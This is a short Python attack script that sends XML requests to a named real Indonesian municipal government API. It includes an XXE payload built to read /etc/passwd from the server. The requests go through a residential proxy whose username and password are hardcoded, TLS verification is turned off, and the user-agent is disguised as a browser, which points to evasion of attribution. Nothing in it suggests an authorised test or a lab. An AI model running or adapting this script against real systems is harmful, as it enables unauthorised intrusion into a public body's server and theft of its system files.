#!/usr/bin/env python3
import requests
import time
import random

PROXY = {
    'http': 'http://b04dd480860a80d0:VJvorQIeLmBSK1G9@res.proxy-seller.com:10001',
    'https': 'http://b04dd480860a80d0:VJvorQIeLmBSK1G9@res.proxy-seller.com:10001'
}

TARGET = "https://pohon.disperkim.semarangkota.go.id/api/pohon"

# XXE payload to read /etc/passwd
xxe_payload = '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>'''

# Also try without DTD for basic XXE
basic_xml = '''<?xml version="1.0"?>
<test><id>1</id></test>'''

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Content-Type': 'application/xml',
    'Accept': '*/*'
}

# Test 1: Basic XML
print("[*] Testing basic XML parsing...")
try:
    resp = requests.post(TARGET, data=basic_xml, headers=headers, proxies=PROXY, verify=False, timeout=30)
    print(f"[*] Status: {resp.status_code}")
    print(f"[*] Response (first 500): {resp.text[:500]}")
except Exception as e:
    print(f"[-] Error: {e}")

time.sleep(2)

# Test 2: XXE
print("\n[*] Testing XXE payload...")
try:
    resp = requests.post(TARGET, data=xxe_payload, headers=headers, proxies=PROXY, verify=False, timeout=30)
    print(f"[*] Status: {resp.status_code}")
    print(f"[*] Response (first 500): {resp.text[:500]}")
except Exception as e:
    print(f"[-] Error: {e}")
    
